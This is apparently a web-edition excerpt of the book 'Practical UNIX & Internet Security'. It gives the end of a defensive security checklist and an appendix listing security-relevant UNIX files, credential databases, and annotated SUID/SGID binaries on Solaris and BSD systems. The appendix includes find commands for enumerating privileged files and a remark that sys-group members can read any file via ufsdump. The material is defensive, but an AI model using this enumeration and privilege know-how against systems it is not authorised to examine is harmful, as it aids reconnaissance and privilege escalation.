  • Make sure that user accounts have different passwords for machines on different subnets.

  • Make sure that firewall machines have the highest level of logging.

  • Configure firewall machines without user accounts and program development utilities, if possible.

  • Don't mount NFS directories across subnet boundaries.

  • Have a central mail machine with MX aliasing and name rewriting.

  • Monitor activity on the firewall regularly.

  • Configure your firewall/bastion hosts to remove all unnecessary services and utilities.

  • Keep in mind that firewalls can sometimes fail. Plan accordingly: periodically test your firewall and have defense in depth for that eventuality.

  • Give serious thought to whether or not you really want all your systems to be connected to the rest of the world, even if a firewall is interposed. (See the discussion in the chapter.)

A.1.1.21 Chapter 22: Wrappers and Proxies

  • Consider installing the smap proxy in place of the sendmail program to receive mail over the network.

  • Consider installing the tcpwrapper program to restrict and log access to local network services.

  • Consider installing the ident/authd service on your system to help track network access. However, remember that the results returned by this service are not completely trustworthy.

  • Consider writing your own wrapper programs to provide extra control or logging for your local system.

A.1.1.22 Chapter 23: Writing Secure SUID and Network Programs

  • Convey to your vendors your concern about software quality in their products.

  • Observe the 24 general rules presented in the chapter when writing any software, and especially when writing software that needs extra privileges or trust.

  • Observe the 17 general rules presented in the chapter when writing any network server programs.

  • Observe the 14 general rules presented in the chapter when writing any program that will be SUID or SGID.

  • Think about using chroot for privileged programs.

  • Avoid storing or transmitting passwords in clear text in any application.

  • Be very cautious about generating and using "random" numbers.

A.1.1.23 Chapter 24: Discovering a Break-in

  • Plan ahead: have response plans designed and rehearsed.

  • If a break-in occurs, don't panic!

  • Start a diary and/or script file as soon as you discover or suspect a break-in. Note and timestamp everything you discover and do.

  • Run hardcopies of files showing changes and tracing activity. Initial and time-stamp these copies.

  • Run machine status-checking programs regularly to watch for unusual activity: ps, w, vmstat, etc.

  • If a break-in occurs, consider making a dump of the system to backup media before correcting anything.

  • Carefully examine the system after a break-in. See the chapter text for specifics - there is too much detail to list here. Specifically, be certain that you restore the system to a known, good state.

  • Carefully check backups and logs to determine if this is a single occurrence or is related to a set of incidents.

A.1.1.24 Chapter 25: Denial of Service Attacks and Solutions

  • If user quotas are available on your system, enable them.

  • Configure appropriate process and user limits on your system.

  • Don't test new software while running as root.

  • Install a firewall to prevent network problems.

  • Educate your users on polite methods of sharing system resources.

  • Run long-running tasks in the background, setting the nice to a positive value.

  • Configure disk partitions to have sufficient inodes and storage.

  • Make sure that you have appropriate swap space configured.

  • Monitor disk usage and encourage users to archive and delete old files.

  • Consider investing in a network monitor appropriate for your network. Have a spare network connection available, if you need it.

  • Keep available an up-to-date paper list of low-level network addresses (e.g., Ethernet addresses), IP addresses, and machine names.

  • Ensure good physical security for all network cables and connectors.

A.1.1.25 Chapter 26: Computer Security and U.S. Law

  • Consult with your legal counsel to determine legal options and liability in the event of a security incident.

  • Consult with your insurance carrier to determine if your insurance covers loss from break-ins. Determine if your insurance covers business interruption during an investigation. Also determine if you will be required to institute criminal or civil action to recover on your insurance.

  • Replace any "welcome" messages with warnings against unauthorized use.

  • Put explicit copyright and/or proprietary property notices in code start-up screens and source code. Formally register copyrights on your locally developed code and databases.

  • Keep your backups separate from your machine.

  • Keep written records of your actions when investigating an incident. Time-stamp and initial media, printouts, and other materials as you proceed.

  • Develop contingency plans and response plans in advance of difficulties.

  • Define, in writing, levels of user access and responsibility. Have all users provide a signature noting their understanding of and agreement to such a statement. Include an explicit statement about the return of manuals, printouts, and other information upon user departure.

  • Develop contacts with your local law-enforcement personnel.

  • Do not be unduly hesitant about reporting a computer crime and involving law-enforcement personnel.

  • If called upon to help in an investigation, request a signed statement by a judge requesting (or directing) your "expert" assistance. Recommend a disinterested third party to act as an expert, if possible.

  • Expand your professional training and contacts by attending security training sessions or conferences. Consider joining security-related organizations.

  • Be aware of other liability concerns.

  • Restrict access to cryptographic software from the network.

  • Restrict or prohibit access to material that could lead to legal difficulties. This includes copyrighted material, pornographic material, trade secrets, etc.

  • Make sure that users understand copyright and license restrictions on commercial software, images, and sound files.

  • Prohibit or restrict access to Usenet from organizational machines. Consider coupling this to provision of personal accounts with an independent service provider.

  • Make your users aware of the dangers of electronic harassment or defamation.

  • Make certain that your legal counsel is consulted before you provide locally developed software to others outside your organization.

A.1.1.26 Chapter 27: Who Do You Trust?

  • Read the chapter. Develop a healthy sense of paranoia.

  • Protest when vendors attempt to sell you products advertised with "hacker challenges" instead of more reliable proof of good design and testing.

  • Make your vendor aware of your concerns about security, adequate testing, and fixing security bugs in a timely fashion.

  • Buy another 1000 copies of this book for all your friends and acquaintances. The copies will make you intelligent, attractive, and incredibly popular. Trust us on this.

A.1.1.27 Appendix B: Important Files

  • Become familiar with the important files on your system.

  • Understand why SUID/SGID files have those permissions.

A.1.1.28 Appendix C: UNIX Processes

  • Understand how processes work on your system.

  • Understand the commands that are available to manipulate processes on your system.

A.1.1.29 Appendix D: Paper Sources

  • Paper Sources

A.1.1.30 Appendix E: Electronic Resources

  • Electronic Resources

A.1.1.31 Appendix F: Organizations

  • Learn more about security.

  • Explore other resources concerning security, UNIX, and the Internet.

  • Monitor newsgroups, mailing lists, and other resources that will help you stay current on threats and countermeasures.

  • Explore professional opportunities that enable you to network with other professionals, and add to your knowledge and experience.

A.1.1.32 Appendix G: Table of IP Services

  • Read the table and add your own site notes indicating the services you do and do not wish to support.

Previous: VII. Appendixes | Practical UNIX & Internet Security | Next: B. Important Files
VII. Appendixes | Book Index | B. Important Files


[Appendix B] Important Files

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: A.1 Preface Appendix B Next: B.2 Important Files in Your Home Directory

B. Important Files

Contents:
Security-Related Devices and Files
Important Files in Your Home Directory
SUID and SGID Files

This appendix lists some of the files on UNIX systems that are important from the perspective of overall system security. We have tried to make this as comprehensive a list as possible. Nevertheless, there are doubtless some system-specific files that we have omitted. If you don't see a file here that you think should be added, please let us know.

B.1 Security-Related Devices and Files

This section lists many of the devices, files, and programs mentioned in this book. Note that these programs and files may be located in different directories under your version of UNIX.

B.1.1 Devices

All UNIX devices potentially impact security. You should, however, pay special attention to the following entries. On many systems, including SVR4, these entries are links to files in the /devices directory, but the actual names in that directory depend on the underlying hardware configuration. Thus, we will reference them by the /dev.

Name | Description
/dev/audio | Audio input/output device
/dev/console | System console
/dev/*diskette* | Floppy disk device
/dev/dsk/* | System disks
/dev/fbs/* | Framebuffers
/dev/fd/* | File descriptors (/dev/fd/0 is a synonym for stdin, /dev/fd/1 for stdout, etc)
/dev/*fd* | Floppy disk drives
/dev/ip | IP interface
/dev/kbd | Keyboard device
/dev/klog | Kernel log device
/dev/kmem | Kernel memory
/dev/kstat | Kernel statistics device
/dev/log | Log device
/dev/mem | Memory
/dev/modem | Modem
/dev/null | Null device
/dev/pty* | Pseudo terminals
/dev/random | Random device
/dev/rdsk | Raw disk devices
/dev/rmt8 | Tape device
/dev/*sd* | SCSI disks
/dev/*st* | SCSI tapes
/dev/tty* | Terminal devices
/dev/zero | Source of nulls

B.1.2 Log Files

Name | Description
/etc/utmp | Lists users currently logged into system
/etc/utmpx | Extended utmp file
/etc/wtmp | Records all logins and logouts
/etc/wtmpx | Extended wtmp file
/usr/adm/acct[1] | Records commands executed
/usr/adm/lastlog | Records the last time a user logged in
/usr/adm/messages | Records important messages
/usr/adm/pacct | Accounting for System V (usually)
/usr/adm/saveacct | Records accounting information
/usr/adm/wtmp | Records all logins and logouts

[1] /usr/adm may actually be a link to /var/adm.

B.1.3 System Databases

Name | Description
/etc/bootparams | Boot parameters database
/etc/cron/* | System V start-up files
/etc/defaultdomain | Default NIS domain
/etc/defaultrouter | Default router to which your workstation sends packets destined for other networks
/etc/defaults/su | Default environment for root after su
/etc/defaults/login | Default environment for login
/etc/dfs/dfstab | SVR4
/etc/dialup | List of dial-up lines
/etc/dumpdates | Records when a partition was dumped
/etc/d_passwd | File of dial-up passwords (some systems)
/etc/ethers | Mapping of ethernet addresses to IP addresses for RARP
/etc/exports | NFS exports list (Berkeley-derived systems)
/etc/fbtab | Login device permission (SunOS systems)
/etc/filesystems | List of AIX filesystems the computer supports
/etc/ftpusers | List of users not allowed to use FTP over the network
/etc/fstab | Filesystems to mount (Berkeley)
/etc/group | Denotes membership in groups
/etc/hostnames.xx | Hostname for interface xx
/etc/hosts | List of IP hosts and host names
/etc/hosts.allow | Hosts for which tcpwrapper allows connection
/etc/hosts.deny | Hosts for which tcpwrapper denies connection
/etc/hosts.equiv | Lists trusted machines
/etc/hosts.lpd | Lists machines allowed to print on your computer's printer
/etc/inetd.conf | Configuration file for /etc/inetd
/etc/init.d/* | System V start-up files
/etc/inittab | tty start-up information; controls what happens at various run levels (System V)
/etc/keystore | Used in SunOS 4.0 to store cryptography keys
/etc/login.access | Used to control who can log in from where (logdaemon and some more recent BSD systems)
/etc/logindevperm | Login device permissions (Solaris systems)
/etc/master.passwd | Shadow password file on some BSD systems
/etc/motd | Message of the day
/etc/mnttab | Table of mounted devices
/etc/netgroup | Netgroups file for NIS
/etc/netid | Netname database
/etc/netstart | Network configuration for some BSD systems
/etc/nodename | Name of your computer
/etc/ntp.conf | NTP configuration file
/etc/nsswitch.conf | For Solaris (files, NIS, NIS+), the order in which system databases for accounts, services, etc., should be read
/etc/passwd | Users and encrypted password
/etc/printcap | Printer configuration file
/etc/profile | Default user profile
/etc/publickey | Computer's public key
/etc/rc* | Reboot commands script
/etc/rc?.d/* | System V start-up files for each run level
/etc/remote | Modem and telephone-number information for tip
/etc/resolv.conf | DNS configuration file
/etc/security/* | Various operating system security files
/etc/security/passwd.adjunct | Shadow-password file for SunOS
/etc/services | Lists network services
/etc/shadow | Shadow password file
/etc/shells | Legal shells for FTP users and for legal shells to the chsh command
/etc/skeykeys | Used by S/Key
/etc/socks.conf | SOCKS configuration file
/etc/syslog.conf | syslog configuration file
/etc/tftpaccess.ctl | Access to TFTP daemon (AIX systems)
/etc/timezone | Your time zone
/etc/ttys, /etc/ttytab | Defines active terminals
/etc/utmp | Lists users currently logged into system
/etc/vfstab | Filesystems to mount at boot time (SVR4)
/etc/X0.hosts | Allows access to X0 server
/usr/lib/aliases or/etc/aliases | Lists mail aliases for /usr/lib/sendmail (maybe in /etc or/etc/sendmail)
/usr/lib/crontab | Scheduled execution file
/usr/lib/sendmail.cf | sendmail configuration file
/usr/lib/uucp/Devices | UUCP BNU
/usr/lib/uucp/L.cmds | UUCP Version 2
/usr/lib/uucp/L-devices | UUCP Version 2
/usr/lib/uucp/Permissions | UCP BNU
/usr/lib/uucp/USERFILE | UUCP Version 2
/var/spool/cron* | cron files include cron.allow cron.deny, at.allow, and at.deny
/var/spool/cron/crontabs/* | Individual user files (System V)

B.1.4 /bin Programs

Some of these programs may be found in other directories, including /usr/bin, /sbin, /usr/sbin, /usr/ccs/bin, and /usr/local/bin.

Name | Description
adb | Debugger; also can be used to edit kernel
cc | C compiler
cd, chdir | Built in shell command
chgrp | Changes group of files
chmod | Changes permissions of files
chown | Changes owner of files
chsh | Changes a user's shell
cp | Copies files
crypt | Encrypts files
csh | C-shell command interpreter
cu | Places telephone calls
dbx | Debugger
des | DES encryption/decryption program
ex3.7preserve, ex3.7recover | vi buffer recovery programs
find | Finds files
finger | Prints information about users
fsirand | Randomizes i-node numbers on a disk
ftp | Transfers files on a network
gcore | Gets a core file for a running process
kill | Kills processes
kinit | Authenticates to Kerberos
ksh | Korn-shell command interpreter
last | Prints when users logged on
lastcomm | Prints what commands were run
limit | Changes process limits
login | Prints password
ls | Lists files
mail | Sends mail
netstat | Prints status of network
newgrp | Changes your group
perl suidperl taintperl | System administration and programming language. SUID perl has special provisions for SUID programs; taintperl has special data-tainting features
passwd | Changes passwords
ps | Displays processes
pwd | Prints your working directory
renice | Changes the priority of a process
rlogin | Logs you into another machine
rsh, krsh, rksh | Restricted shell (System V)
rsh | Remote shell (named remsh on System V)
sh | Bourne-shell command interpreter
strings | Prints the strings in a file
su | Become the superuser, or change your current user ID
sysadmsh | System administrator's shell
telnet | Becomes a terminal on another machine
tip | Calls another machine
umask | Changes your umask (shell built-in)
users | Prints users logged in
uucheck | Checks UUCP security
uucico | Transfers UUCP files
uucp | Queues files for transfer by UUCP
uudecode | Decodes uu-encoded files
uux | Queues programs for execution by UUCP
w | Prints what people are doing
who | Prints who is logged in
write | Prints messages on another's terminal
xhost | Allows other hosts to access your X Window Server
XScreensaver | Clears and locks an X screen
yppasswd | Changes your NIS password

B.1.5 /etc Programs

The following programs are typically placed in the /etc, /sbin, /usr/sbin, or /usr/etc directories.

Name | Description
accton | Turns on accounting
arp | Address resolution protocol
comsat | Alerts to incoming mail
dmesg | Prints messages from system boot
exportfs | Export a filesystem (Berkeley)
fingerd or in.fingerd | Finger daemon
ftpd or in.ftpd | FTP daemon
fsck | Filesystem-consistency checker
getty | Prints login:
inetd | Internet daemon
init | First program to run
lockd | lock daemon
lpc | Line-printer control
makekey | Runs crypt() library routine (in /usr/lib)
mount | Mounts partitions
ntalkd | Talk daemon
ping | Network test program
rc? | Boot scripts
rc?.d | Directories containing boot scripts
rdump | Remote dump program
renice | Changes priority of programs
rexecd or in.rexecd | Remote execution daemon
rlogind or in.rlogind | Remote login daemon
routed | Route daemon
rshd | Remote shell daemon
sa | Processes accounting logs
sendmail | Network mailer program (may be in /lib or /lib/sendmail)
share | Export a filesystem (SVR4)
showmount | Shows clients that have mounted a filesystem
sockd | SOCKS daemon
syslogd | System log daemon
talkd or in.talkd | Talk daemon
tcpd | TCP wrapper
telnetd or in.telnetd | Telnet daemon
tftpd or in.tftpd | TFTP daemon
ttymon | Monitors terminal ports
uucpd | UUCP over TCP/IP daemon
yp/makedbm | Makes an NIS database

Previous: A.1 Preface | Practical UNIX & Internet Security | Next: B.2 Important Files in Your Home Directory
A.1 Preface | Book Index | B.2 Important Files in Your Home Directory


[Appendix B] B.2 Important Files in Your Home Directory

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: B.1 Security-Related Devices and Files Appendix B
Important Files 		Next: B.3 SUID and SGID Files

B.2 Important Files in Your Home Directory

Name | Description
.cshrc | C-shell initialization command; run at each csh invocation
.emacs | Start-up file for GNU Emacs
.exrc | Start-up commands for ex and vi editors
.forward | Contains an address that tells /usr/lib/sendmail where to forward your electronic mail
.history | C-shell history
.kshrc | Korn shell start-up file
.login | C-shell initialization command script; run only on login
.logout | C-shell commands executed automatically on logout
.mailrc | Mail start-up file
.netrc | Initialization and macros for FTP
.procmailrc | Commands and macros for procmail mail agent
.profile | Bourne- and Korn-shell initialization commands
.rhosts | Contains the names of the remote accounts that can log into your account via rsh and rlogin without providing a password
.XDefaults, .Xinit, .XResource, .Xsession | X Window System start-up files
.xinitrc | Start-up file for xinit

Previous: B.1 Security-Related Devices and Files | Practical UNIX & Internet Security | Next: B.3 SUID and SGID Files
B.1 Security-Related Devices and Files | Book Index | B.3 SUID and SGID Files


[Appendix B] B.3 SUID and SGID Files

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: B.2 Important Files in Your Home Directory Appendix B
Important Files 		Next: C. UNIX Processes

B.3 SUID and SGID Files

To run a secure computer, you must know of every SUID and SGID file on the system and be sure that each file has the proper permissions for which it was designed.

Unfortunately, there is a huge amount of variation among UNIX vendors in the use of SUID and SGID. Some manufacturers use SUID root for all privilege-requiring programs, while some create special groups for controlling terminals (group tty), or disks (group operator), or memory (group kmem). Some vendors use a variety of approaches. Most change their approaches to SUID and SGID from software release to software release. As a result, any attempt to list SUID and SGID files on a system that is not constrained to a particular release is likely to be incomplete.

You may also receive SUID or SGID files as part of third-party software that you may purchase or download from the net. Many of these third-party programs require SUID root permission because they modify devices or do things on behalf of users. If you choose to use these programs, you should seek assurance from the vendor that superuser privileges are confined to the smallest possible region of the program, and that, in general, rules such as those contained in Chapter 23, Writing Secure SUID and Network Programs, have been followed in coding the software. You may also wish to obtain written representations from the vendor that the security of the computer system will not be compromised as a result of SUID/SGID programs, and that, in the event that the system is compromised, the vendor will pay for damages.

B.3.1 SUID/SGID Files in Solaris 2.4 (SVR4)

This section contains a list of the SUID and SGID files found in Solaris 2.4, which is representative of System V Release 4 systems in general. Rather than simply presenting a complete list of files, we have annotated the reason that SUID or SGID permissions are set. Our goal is to teach you how to recognize the SUID/SGID files on your system, and make your own decision as to whether the privilege is justified, or whether some lesser privilege would suffice.

You can generate your own list of SUID files by using the command:

# find / -type f -perm -04000 -ls

You can generate a list of SGID files by using the command:

# find / -type f -perm -02000 -ls

B.3.1.1 SUID files

-r-sr-xr-x   1 root     sys       610480 Aug  3  1994 /sbin/su
-r-sr-xr-x   1 root     bin       559968 Aug  3  1994 /sbin/sulogin
-r-sr-xr-x   1 root     sys        15156 Jul 16  1994 /usr/bin/su

The su command is SUID root so it can alter the process's effective UID. We don't understand why sulogin needs to be SUID root, because it is only run when the system boots in single-user mode (and, presumably, it is already running as root). The /sbin/su program is statically linked, which is why it is so much larger than /usr/bin/su, which uses shared libraries.

-rwsr-xr-x   1 root     sys        32144 Jul 15  1994 /usr/bin/at
-rwsr-xr-x   1 root     sys        12128 Jul 15  1994 /usr/bin/atq
-rwsr-xr-x   1 root     sys        10712 Jul 15  1994 /usr/bin/atrm

The at commands are SUID root because they run commands for all user IDs, and need root permissions to set the user and group permissions of jobs. Additionally, the directory where these jobs are stored is protected to prevent snooping and tampering with the files, and root permissions are used to enforce these protections.

-r-sr-xr-x   1 root     sys        29976 Jul 16  1994 /usr/bin/chkey

The chkey command is SUID root because it accesses the /etc/publickey database.

-r-sr-xr-x   1 root     bin        14600 Jul 15  1994 /usr/bin/cron

The cron program is SUID root so that it can alter files in the /var/spool/cron directory. As with the at commands above, it also runs jobs under different user IDs and needs root privileges to do so.

-r-sr-xr-x   1 root     bin         9880 Jul 16  1994 /usr/bin/eject
-r-sr-xr-x   1 root     bin        22872 Jul 16  1994 /usr/bin/fdformat
-r-sr-xr-x   1 root     bin         4872 Jul 16  1994 /usr/bin/volcheck

These programs are SUID root because they directly manipulate the floppy disk device.

-r-sr-xr-x   1 root     bin        27260 Jul 16  1994 /usr/bin/login

login must be SUID root so that one user can use login to log in as another user without first logging out. If login were not SUID root, it could not change its real and effective UID to be that of another user. If the program is not SUID, then users need to log out before logging in as another user - a minor inconvenience. Many site administrators prefer this behavior and remove the SUID permission on login as a result.

-rwsr-xr-x   1 root     sys         9520 Jul 16  1994 /usr/bin/newgrp

newgrp is SUID root because it must alter the process's effective and real group IDs (GIDS).

-r-sr-sr-x   1 root     sys        11680 Jul 16  1994 /usr/bin/passwd

This program must be SUID root because it modifies the /etc/passwd or /etc/shadow files.

-r-sr-xr-x   1 root     sys        17800 Jul 16  1994 /usr/bin/ps
-r-sr-xr-x   1 root     bin        12080 Jul 16  1994 /usr/sbin/whodo

These programs are SUID root because they need access to the computer's /dev/mem and /dev/kmem devices, and to access some accounting files. Perhaps a safer approach would be to have a kmem group and have needed files be SGID kmem.

-r-sr-xr-x   1 root     bin        15608 Jul 15  1994 /usr/bin/rcp
-r-sr-xr-x   1 root     bin        60268 Jul 15  1994 /usr/bin/rdist
-r-sr-xr-x   1 root     bin        14536 Jul 15  1994 /usr/bin/rlogin
-r-sr-xr-x   1 root     bin         7920 Jul 15  1994 /usr/bin/rsh
-rwsr-xr-x   1 root     other       7728 Jul 16  1994 /usr/bin/yppasswd
-r-sr-x--x   1 root     bin       134832 Jul 16  1994 /usr/lib/sendmail
-r-sr-x--x   1 root     bin       137552 Jul 16  1994 /usr/lib/sendmail.mx
-r-sr-xr-x   1 root     bin        17968 Jul 15  1994 /usr/sbin/ping
-r-sr-xr-x   1 root     bin       510532 Jul 15  1994 /usr/sbin/static/rcp

In general, these programs are all SUID root because they need to create TCP/IP connections on ports below 1024. The sendmail program also needs the ability to modify files stored in its working directories. The ping program needs to use raw IP.

-rws--x--x   1 uucp     bin        55608 Jul 16  1994 /usr/bin/tip
---s--x--x   1 root     uucp       68816 Jul 15  1994 /usr/bin/ct
---s--x--x   1 uucp     uucp       81904 Jul 15  1994 /usr/bin/cu

These programs are SUID uucp so that they can access the dialer and modem devices.

-r-sr-xr-x   2 root     bin        10888 Jul 16  1994 /usr/bin/uptime
-r-sr-xr-x   2 root     bin        10888 Jul 16  1994 /usr/bin/w

We can't figure out why these programs are SUID root, as they access files (/var/adm/utmp and /dev/kstat) that are world-readable. These are hard links which you can verify by using ls -li.

---s--x--x   1 uucp     uucp     64240 Jul 15  1994 /usr/bin/uucp
---s--x--x   1 uucp     uucp     21304 Jul 15  1994 /usr/bin/uuglist
---s--x--x   1 uucp     uucp     17144 Jul 15  1994 /usr/bin/uuname
---s--x--x   1 uucp     uucp     60952 Jul 15  1994 /usr/bin/uustat
---s--x--x   1 uucp     uucp     68040 Jul 15  1994 /usr/bin/uux
---s--x--x   1 uucp     uucp      4816 Jul 15  1994 /usr/lib/uucp/remote.unknown
---s--x--x   1 uucp     uucp    169096 Jul 15  1994 /usr/lib/uucp/uucico
---s--x--x   1 uucp     uucp     32016 Jul 15  1994 /usr/lib/uucp/uusched
---s--x--x   1 uucp     uucp     81040 Jul 15  1994 /usr/lib/uucp/uuxqt

These programs are SUID uucp because they need to access privileged UUCP directories and files.

-r-sr-xr-x   1 root     bin        21496 Jul 16  1994 /usr/lib/exrecover

This file is SUID root so that it can access the directory in which editor recovery files are saved. As we have said in other places in the book, a more secure approach would be to have an account specifically created for accessing this directory, or to create user-owned subdirectories in a common save directory.

-r-sr-sr-x   1 root     tty       151352 Jul 15  1994 /usr/lib/fs/ufs/ufsdump
-r-sr-xr-x   1 root     bin       605348 Jul 15  1994 /usr/lib/fs/ufs/ufsrestore

These files are SUID root so that users other than the superuser can make backups. In the Solaris version of these commands, any user who is in the sys group can dump the contents of the system's disks and restore them without having root access. (As a result, having sys access on this operating system means that you can effectively read any file on the computer by using a combination of ufsdump and ufsrestore.) Note: the fact that users in the sys group can dump and undump tapes is not documented in the man page. Other programs may give undocumented privileges to users who happen to be in particular groups.

-rwsr-xr-x   1 root     adm         4008 Jul 15  1994 /usr/lib/acct/accton

There must be some reason that this program is SUID root. But, once again, we can't figure it out, as the program gives the error "permission denied" when it is run by anybody other than the superuser.

-rwsr-xr-x   3 root     bin        13944 Jul 16  1994 /usr/sbin/allocate
-rwsr-xr-x   3 root     bin        13944 Jul 16  1994 /usr/sbin/deallocate
-rwsr-xr-x   3 root     bin        13944 Jul 16  1994 /usr/sbin/list_devices

The allocate command allocates devices to users based on the Solaris allocation mechanism. For more information, refer to the Solaris documentation. We believe that the mkdevalloc and mkdevmaps commands are part of the same system, but they are not documented.

-rwsr-xr-x   1 root     sys        21600 Jul 16  1994 /usr/sbin/sacadm

The sacadm is the top-level entry point into the Service Access Facility system.

-rwsrwxr-x   1 root     bin        87808 Jun 24  1994 /usr/openwin/bin/xlock

We think that xlock needs to be SUID root so that it can read your password from the shadow file.

-r-sr-sr-x   1 root     sys        20968 Jun 27  1995 /usr/dt/bin/dtaction
-r-sr-xr-x   1 root     bin        69172 Jun 27  1995 /usr/dt/bin/dtappgather
-r-sr-xr-x   1 root     bin       134600 Jun 27  1995 /usr/dt/bin/dtsession
-r-sr-xr-x   1 root     bin       373332 Jun 27  1995 /usr/dt/bin/dtprintinfo
-r-sr-sr-x   1 root     daemon    278060 Jun 27  1995 /usr/dt/bin/sdtcm_convert

These programs all appear to perform session management as part of the Common Desktop Environment 1.0. We don't know why dtaction needs to be SUID root.

B.3.1.2 Undocumented SUID programs

The following programs are SUID and undocumented. This combination is dangerous, because there is no way to tell for sure what these programs are supposed to do, if they have their SUID/SGID bits properly set, or if they are even part of the standard operating system release.

---s--x--x   1 root     bin         3116 Jul 16  1994 /usr/lib/pt_chmod
-r-sr-xr-x   1 root     bin         5848 Jul 16  1994 /usr/lib/utmp_update
-rwsr-xr-x   1 root     bin         8668 Jul 16  1994 /usr/sbin/mkdevalloc
-rwsr-xr-x   1 root     bin         9188 Jul 16  1994 /usr/sbin/mkdevmaps
-r-sr-sr-x   1 root     bin        14592 Jul 15  1994 /usr/openwin/bin/ff.core
-rwsr-xr-x   1 root     bin        19580 Jun 24  1994 /usr/openwin/lib/mkcookie
-rwsr-sr-x   1 bin      bin         8288 Jul 16  1994 /usr/vmsys/bin/chkperm
-r-sr-xr-x   1 lp       lp           203 Jul 18  1994 /etc/lp/alerts/printer

B.3.1.3 SGID files

-rwxr-sr-x   1 root     sys       147832 Jul 15  1994 /usr/kvm/crash
-r-xr-sr-x   1 bin      sys        31440 Jul 15  1994 /usr/bin/netstat
-r-xr-sr-x   1 bin      sys        11856 Jul 16  1994 /usr/bin/nfsstat
-r-xr-sr-x   1 bin      sys        11224 Jul 16  1994 /usr/bin/ipcs
-r-xr-sr-x   1 root     bin         6912 Jul 15  1994 /usr/sbin/arp
-r-xr-sr-x   1 bin      sys         6280 Jul 16  1994 /usr/sbin/fusage
-r-xr-sr-x   1 root     sys        15128 Jul 16  1994 /usr/sbin/prtconf
-r-xr-sr-x   1 bin      sys         7192 Jul 16  1994 /usr/sbin/swap
-r-xr-sr-x   1 root     sys        21416 Jul 16  1994 /usr/sbin/sysdef
-r-xr-sr-x   1 bin      sys         5520 Jul 15  1994 /usr/sbin/dmesg
-rwxr-sr-x   1 root     sys        12552 Jul 18  1994 /usr/openwin/bin/wsinfo
-rwxrwsr-x   1 root     sys         9272 Jul 18  1994 /usr/openwin/bin/xload

These programs examine and/or modify memory of the running system and use group permissions to read the necessary device files.

-r-xr-sr-x   1 bin      sys        28696 Jul 16  1994 /usr/kvm/eeprom

The eeprom program allows you to view or modify the contents of the system's EEPROM. It should probably not be executable by non-root users.

-r-x--s--x   1 bin      mail       65408 Jul 16  1994 /usr/bin/mail
-r-x--s--x   1 bin      mail      132888 Jul 16  1994 /usr/bin/mailx
-r-xr-sr-x   1 root     mail      449960 Jul 15  1994 /usr/openwin/bin/mailtool
-r-xr-sr-x   1 bin      mail      825220 Jun 27  1995 /usr/dt/bin/dtmail
-r-xr-sr-x   1 bin      mail      262708 Jun 27  1995 /usr/dt/bin/dtmailpr

The mail programs can be used to send mail or read mail in the /var/mail directory. We are not certain why these programs need to be SGID mail,; however, we suspect it involves lock management.

-r-sr-sr-x   1 root     sys        20968 Jun 27  1995 /usr/dt/bin/dtaction

This is another part of the Common Desktop Environment system. We don't know why it is both SUID and SGID.

-r-sr-sr-x   1 root     sys        11680 Jul 16  1994 /usr/bin/passwd

We do not know why this program needs to be both SUID root and SGID sys.

-r-xr-sr-x   1 bin      tty       9984 Jul 16  1994 /usr/bin/write
-r-sr-sr-x   1 root     tty     151352 Jul 15  1994 /usr/lib/fs/ufs/ufsdump
-r-xr-sr-x   1 bin      tty       9296 Jul 16  1994 /usr/sbin/wall

These programs are SGID tty so that they can write on the devices of users.

-rwxr-sr-x   1 root     root      650620 Jun 24  1994 /usr/openwin/bin/Xsun

Xsun is the X-Window server for the Sun. It is SGID so that it can access necessary device files.

-r-sr-sr-x   1 root   daemon  278060 Jun 27  1995 /usr/dt/bin/sdtcm_convert

This program converts files from the Open Windows calendar data format version 3 to version 4. According to the documentation, sdtcm_convert must be run by the superuser or the owner of the calendar. Users can only run the program on their own calendars; the superuser can run the program on any calendar. Because the /var/spool/calendar directory is mode 3777, there should be no reason for this program to be SUID or SGID.

B.3.1.4 Undocumented SGID files

These files are not documented in the Solaris system documentation:

-r-sr-sr-x   1 root     bin        14592 Jul 15  1994 /usr/openwin/bin/ff.core
-rwsr-sr-x   1 bin      bin         8288 Jul 16  1994 /usr/vmsys/bin/chkperm

B.3.2 SUID/SGID Files in Berkeley UNIX

This list of SUID and SGID files in Berkeley UNIX was derived by looking at computers made by Sun Microsystems, Digital Equipment Corporation, and NeXT Inc. The list of SUID and SGID files on your version of Berkeley UNIX is likely to be different. For this reason, we not only list which files are SUID and SGID, we also explain why they are SUID or SGID. After reading this list, you should be able to look at all of the SUID and SGID files on your system and figure out why your files have been set in particular ways. If you have a question about a file that is SUID or SGID, consult your documentation or contact your vendor.

B.3.2.1 SUID files

-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989 /usr/etc/ping

ping must be SUID root so that it can transmit ICMP ECHO requests on the raw IP port.

-r-s--x--x 1 root     wheel    16384 Aug 18 1989 /usr/etc/timedc

The timedc (Time Daemon Control) program must be SUID root so that it can access the privileged time port.

-r-sr-x--x 3 root     wheel    81920 Sep  7 1989 /usr/lib/sendmail
-r-sr-x--x 3 root     wheel    81920 Sep  7 1989 /usr/bin/newaliases
-r-sr-x--x 3 root     wheel    81920 Sep  7 1989 /usr/bin/mailq

These programs are all hard links to the same binary. The sendmail program must be SUID root because it listens on TCP/IP port 25, which is privileged.

-rwsr-xr-x 1 root     wheel    16384 Aug 15 1989 /usr/lib/ex3.7recover
-rwsr-xr-x 1 root     wheel    16384 Aug 15 1989 /usr/lib/ex3.7preserve

These programs, part of the vi editor system, must be SUID root so they can read and write the backup files used by vi. (These are often SGID preserve.)

-rws--x--x 1 root     wheel   40960 Nov 15 1989 /usr/lib/lpd
-rws--s--x 1 root     daemon  24576 Sep  6 1989 /usr/ucb/lpr
-rws--s--x 1 root     daemon  24576 Sep  6 1989 /usr/ucb/lpq
-rws--s--x 1 root     daemon  24576 Sep  6 1989 /usr/ucb/lprm

The line-printer daemon must be SUID root so it can listen on TCP/IP port 515, the printer port, and so can read and write files in the /usr/spool/lpd directory. Likewise, the line-printer user commands must be SUID so they can access spool files and the printer device.

-rwsr-xr-x 1 root     wheel    24576 Aug 18 1989 /bin/ps
-rwsr-xr-x 2 root     wheel    57344 Aug 18 1989 /usr/ucb/w
-rwsr-xr-x 2 root     wheel    57344 Aug 18 1989 /usr/ucb/uptime
-rwsr-xr-x 1 root     wheel    16384 Aug 18 1989 /usr/bin/iostat

